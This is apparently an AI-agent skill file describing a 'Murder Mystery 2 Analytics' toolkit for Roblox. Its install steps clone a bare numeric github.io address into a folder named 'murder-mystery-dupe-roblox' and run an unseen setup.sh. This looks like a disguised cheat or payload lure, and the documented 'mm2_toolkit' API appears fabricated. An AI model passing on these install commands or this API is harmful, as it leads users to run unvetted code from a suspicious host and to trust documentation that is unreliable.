MM2 Analytics Roblox Toolkit

Skill by ara.so — Data Skills collection.

This skill enables AI agents to help developers use the Murder Mystery 2 Analytics Dashboard, a comprehensive toolkit for tracking inventory, analyzing gameplay statistics, and optimizing strategy in Roblox's Murder Mystery 2 game through data visualization and AI-powered insights.

What This Project Does

The MM2 Analytics Dashboard is a data analysis and visualization toolkit that provides:

• Inventory Management: Track knife skins, gamepasses, and collection completeness
• Performance Analytics: Monitor win/loss ratios, role-specific statistics, and gameplay patterns
• Strategy Optimization: AI-powered pattern recognition and predictive modeling
• Data Visualization: Interactive charts and dashboards for stats tracking
• Export Tools: Generate reports in CSV, JSON formats for external analysis

Installation

Quick Install (Automated)

# Clone the repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Run automated setup
chmod +x setup.sh
./setup.sh --install

Manual Installation

# Clone repository
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox

# Install Node.js dependencies
npm install

# Install Python dependencies
python3 -m pip install -r requirements.txt

Dependencies

The project requires:

• Python 3.8+ with packages: pandas, numpy, matplotlib, pyyaml, requests
• Node.js 18+ with packages for web dashboard
• Optional: OpenAI/Claude API keys for AI features

Configuration

Environment Setup

Create a .env file in the project root:

# API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}

# Data directories
DATA_DIRECTORY=./data/collections
EXPORT_DIRECTORY=./exports

# Analytics settings
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
LOG_LEVEL=INFO

# Roblox connection (local data only)
ROBLOX_USER_ID=your_user_id

Profile Configuration

Create a profile in config/profiles.yaml:

profiles:
  - name: "default_profile"
    username: "MysterySolver2026"
    settings:
      preferred_role: "sheriff"
      tracking_mode: "comprehensive"
      data_refresh_rate: 30
      export_format: ["csv", "json"]
    
    inventory_filter:
      knife_skins:
        rarity: ["legendary", "ancient", "godly"]
        track_duplicates: true
      gamepasses:
        active_only: true
    
    analytics_preferences:
      win_loss_tracking: true
      role_performance: true
      time_analysis: true
      prediction_models: false
    
    strategy_templates:
      - name: "aggressive_sheriff"
        priority: "high_visibility_areas"
        confidence: 0.85
      - name: "passive_innocent"
        priority: "distraction_avoidance"
        confidence: 0.72

Key Commands (CLI)

Analytics Mode

Run comprehensive analytics on your gameplay data:

# Basic analytics
python3 main.py --mode analytics --profile default_profile

# With export
python3 main.py --mode analytics \
  --profile default_profile \
  --export statistics_2026.json \
  --format json \
  --verbose

# Live tracking mode
python3 main.py --mode analytics \
  --profile default_profile \
  --live \
  --interval 60

# Debug mode
python3 main.py --mode analytics \
  --profile default_profile \
  --log-level DEBUG \
  --verbose

Inventory Management

Track and analyze your item collection:

# Scan inventory
python3 main.py --mode inventory \
  --scan \
  --profile default_profile

# Filter by rarity
python3 main.py --mode inventory \
  --filter rarity:legendary,ancient \
  --export inventory_rare.csv

# Check collection completeness
python3 main.py --mode inventory \
  --check-completeness \
  --category knife_skins

# Find duplicates
python3 main.py --mode inventory \
  --find-duplicates \
  --export duplicates_report.json

Strategy Analysis

Analyze gameplay patterns and optimize strategy:

# Analyze win patterns
python3 main.py --mode strategy \
  --analyze-patterns \
  --role sheriff \
  --export patterns.json

# Generate recommendations
python3 main.py --mode strategy \
  --recommend \
  --based-on last_30_days

# Compare strategies
python3 main.py --mode strategy \
  --compare aggressive_sheriff,passive_innocent \
  --metrics win_rate,survival_time

Data Export

Export data for external analysis:

# Export all statistics
python3 main.py --export-all \
  --format csv \
  --output ./exports/full_export_2026.csv

# Export specific metrics
python3 main.py --export \
  --metrics win_loss,inventory,strategy \
  --format json \
  --output ./exports/metrics.json

# Export for visualization
python3 main.py --export \
  --format visualization \
  --charts win_rate,role_distribution,inventory_rarity \
  --output ./exports/viz_data.json

Python API Usage

Inventory Tracker

from mm2_toolkit import InventoryManager, InventoryFilter

# Initialize inventory manager
manager = InventoryManager(
    profile_name="default_profile",
    data_directory="./data/collections"
)

# Load current inventory
manager.load_inventory()

# Filter knife skins by rarity
filter_config = InventoryFilter(
    category="knife_skins",
    rarity=["legendary", "ancient"],
    include_duplicates=False
)

filtered_items = manager.filter_items(filter_config)

# Get collection statistics
stats = manager.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Unique knives: {stats['unique_knife_count']}")
print(f"Collection completeness: {stats['completeness_percentage']}%")

# Export inventory
manager.export(
    format="json",
    output_path="./exports/inventory_export.json",
    include_metadata=True
)

Analytics Engine

from mm2_toolkit import AnalyticsEngine, AnalyticsConfig

# Configure analytics
config = AnalyticsConfig(
    tracking_mode="comprehensive",
    refresh_rate=30,
    enable_predictions=True,
    api_key_openai="${OPENAI_API_KEY}"
)

# Initialize engine
engine = AnalyticsEngine(config)

# Load gameplay data
engine.load_data(
    source="local",
    profile="default_profile",
    date_range="last_30_days"
)

# Calculate performance metrics
metrics = engine.calculate_metrics()
print(f"Win rate: {metrics['win_rate']:.2%}")
print(f"Average survival time: {metrics['avg_survival_seconds']}s")
print(f"Sheriff accuracy: {metrics['sheriff_accuracy']:.2%}")

# Generate win/loss breakdown by role
role_breakdown = engine.breakdown_by_role()
for role, stats in role_breakdown.items():
    print(f"{role}: {stats['wins']}W / {stats['losses']}L")

# Get AI-powered insights (requires API key)
if config.enable_predictions:
    insights = engine.generate_insights()
    for insight in insights:
        print(f"- {insight['recommendation']}")

Strategy Analyzer

from mm2_toolkit import StrategyAnalyzer, StrategyPattern

# Initialize analyzer
analyzer = StrategyAnalyzer(profile="default_profile")

# Define strategy pattern
aggressive_pattern = StrategyPattern(
    name="aggressive_sheriff",
    role="sheriff",
    priorities=[
        "high_visibility_areas",
        "rapid_elimination",
        "coin_collection_secondary"
    ],
    risk_tolerance=0.8
)

# Analyze pattern effectiveness
results = analyzer.analyze_pattern(
    pattern=aggressive_pattern,
    sample_size=100
)

print(f"Pattern win rate: {results['win_rate']:.2%}")
print(f"Average time to victory: {results['avg_time_to_win']}s")
print(f"Confidence score: {results['confidence']:.2f}")

# Compare multiple strategies
passive_pattern = StrategyPattern(
    name="passive_innocent",
    role="innocent",
    priorities=[
        "stealth_movement",
        "coin_avoidance",
        "survival_focus"
    ],
    risk_tolerance=0.3
)

comparison = analyzer.compare_strategies([
    aggressive_pattern,
    passive_pattern
])

for result in comparison:
    print(f"{result['name']}: {result['effectiveness_score']:.2f}")

Data Visualization

from mm2_toolkit import DataVisualizer, ChartConfig

# Initialize visualizer
visualizer = DataVisualizer(
    theme="dark",
    resolution=(1920, 1080)
)

# Load data
visualizer.load_data(source="analytics_engine")

# Create win rate chart
win_chart = visualizer.create_chart(
    chart_type="line",
    data_field="win_rate",
    config=ChartConfig(
        title="Win Rate Over Time",
        x_axis="date",
        y_axis="percentage",
        color_scheme="gradient_blue"
    )
)

win_chart.save("./exports/win_rate_chart.png")

# Create inventory distribution pie chart
inventory_chart = visualizer.create_chart(
    chart_type="pie",
    data_field="inventory_rarity",
    config=ChartConfig(
        title="Knife Rarity Distribution",
        labels=["Common", "Uncommon", "Rare", "Legendary", "Ancient"],
        color_scheme="rarity_colors"
    )
)

inventory_chart.save("./exports/inventory_distribution.png")

# Generate dashboard
dashboard = visualizer.create_dashboard(
    charts=[
        "win_rate_timeline",
        "role_performance",
        "inventory_value",
        "strategy_effectiveness"
    ],
    layout="2x2_grid"
)

dashboard.export("./exports/dashboard.html")

Common Patterns

Full Analytics Workflow

from mm2_toolkit import (
    ProfileManager,
    InventoryManager,
    AnalyticsEngine,
    StrategyAnalyzer,
    DataVisualizer
)

# Load profile
profile = ProfileManager.load("default_profile")

# Step 1: Scan inventory
inventory = InventoryManager(profile)
inventory.scan()
inventory_stats = inventory.get_statistics()

# Step 2: Analyze gameplay
analytics = AnalyticsEngine(profile.analytics_config)
analytics.load_data(date_range="last_7_days")
performance = analytics.calculate_metrics()

# Step 3: Evaluate strategies
strategy = StrategyAnalyzer(profile)
strategy_results = strategy.analyze_all_patterns()

# Step 4: Generate visualizations
visualizer = DataVisualizer()
visualizer.load_data_from_sources([
    inventory,
    analytics,
    strategy
])

# Create comprehensive report
report = {
    "profile": profile.username,
    "generated_at": datetime.now().isoformat(),
    "inventory": inventory_stats,
    "performance": performance,
    "strategies": strategy_results
}

# Export everything
with open("./exports/full_report.json", "w") as f:
    json.dump(report, f, indent=2)

visualizer.create_dashboard(
    charts=["all"],
    layout="auto"
).export("./exports/dashboard.html")

print("Complete analytics workflow finished!")

Real-time Monitoring

from mm2_toolkit import LiveTracker
import time

# Initialize live tracker
tracker = LiveTracker(
    profile="default_profile",
    refresh_interval=30
)

# Start monitoring
tracker.start()

try:
    while True:
        # Get current session stats
        current_stats = tracker.get_current_session()
        
        print(f"Session time: {current_stats['duration_minutes']}m")
        print(f"Games played: {current_stats['games_played']}")
        print(f"Current win rate: {current_stats['session_win_rate']:.2%}")
        
        # Check for significant events
        events = tracker.get_recent_events()
        for event in events:
            if event['type'] == 'rare_item_obtained':
                print(f"🎉 Rare item obtained: {event['item_name']}")
            elif event['type'] == 'win_streak':
                print(f"🔥 Win streak: {event['streak_length']} games!")
        
        time.sleep(tracker.refresh_interval)

except KeyboardInterrupt:
    # Save session data
    tracker.stop()
    session_summary = tracker.export_session()
    print(f"\nSession saved: {session_summary['filename']}")

Custom Data Export

from mm2_toolkit import DataExporter, ExportFormat
import pandas as pd

# Initialize exporter
exporter = DataExporter(profile="default_profile")

# Define custom export schema
schema = {
    "inventory": {
        "fields": ["item_name", "rarity", "category", "obtained_date"],
        "filter": {"rarity": ["legendary", "ancient"]}
    },
    "gameplay": {
        "fields": ["date", "role", "outcome", "duration_seconds"],
        "date_range": "last_30_days"
    },
    "strategy": {
        "fields": ["pattern_name", "win_rate", "games_played"],
        "min_games": 10
    }
}

# Export to DataFrame for analysis
data = exporter.export_custom(schema, format=ExportFormat.DATAFRAME)

# Perform custom analysis
inventory_df = data['inventory']
gameplay_df = data['gameplay']

# Calculate custom metrics
rare_items_count = len(inventory_df)
sheriff_win_rate = (
    gameplay_df[gameplay_df['role'] == 'sheriff']['outcome'] == 'win'
).mean()

print(f"Rare items owned: {rare_items_count}")
print(f"Sheriff win rate: {sheriff_win_rate:.2%}")

# Export combined report
combined_df = pd.merge(
    gameplay_df,
    inventory_df,
    how='outer',
    left_index=True,
    right_index=True
)

combined_df.to_csv("./exports/combined_analysis.csv", index=False)

Troubleshooting

Common Issues

Issue: "Profile not found" error

# Verify profile exists
python3 main.py --list-profiles

# Create new profile
python3 main.py --create-profile my_profile

Issue: "No data to analyze" error

# Check data directory
from mm2_toolkit import DataValidator

validator = DataValidator()
status = validator.check_data_availability(profile="default_profile")

if not status['has_data']:
    print("Data directory is empty. Run inventory scan first:")
    print("python3 main.py --mode inventory --scan")

Issue: API key errors with AI features

# Verify environment variables
import os

openai_key = os.getenv('OPENAI_API_KEY')
if not openai_key:
    print("Warning: OPENAI_API_KEY not set. AI features disabled.")
    
# Disable AI features in config
config.enable_predictions = False

Issue: Export format not supported

from mm2_toolkit import DataExporter, ExportFormat

# Check supported formats
supported = ExportFormat.list_supported()
print(f"Supported formats: {supported}")

# Use correct format
exporter.export(
    format=ExportFormat.JSON,  # Use enum
    output_path="./exports/data.json"
)

Issue: Slow analytics performance

# Enable caching
config = AnalyticsConfig(
    enable_cache=True,
    cache_ttl=3600,  # 1 hour
    parallel_processing=True
)

# Use incremental updates
analytics.load_data(
    mode="incremental",  # Only load new data
    since="last_session"
)

Best Practices

1. Always use environment variables for API keys and sensitive data
2. Run inventory scans regularly to keep data up-to-date
3. Use profile-specific configurations for different play styles
4. Enable caching for large datasets to improve performance
5. Export data frequently to prevent data loss
6. Validate data integrity before running analytics

Additional Resources

• Configuration examples: config/examples/
• Sample data: data/samples/
• API documentation: docs/api.md
• Strategy guides: docs/strategies.md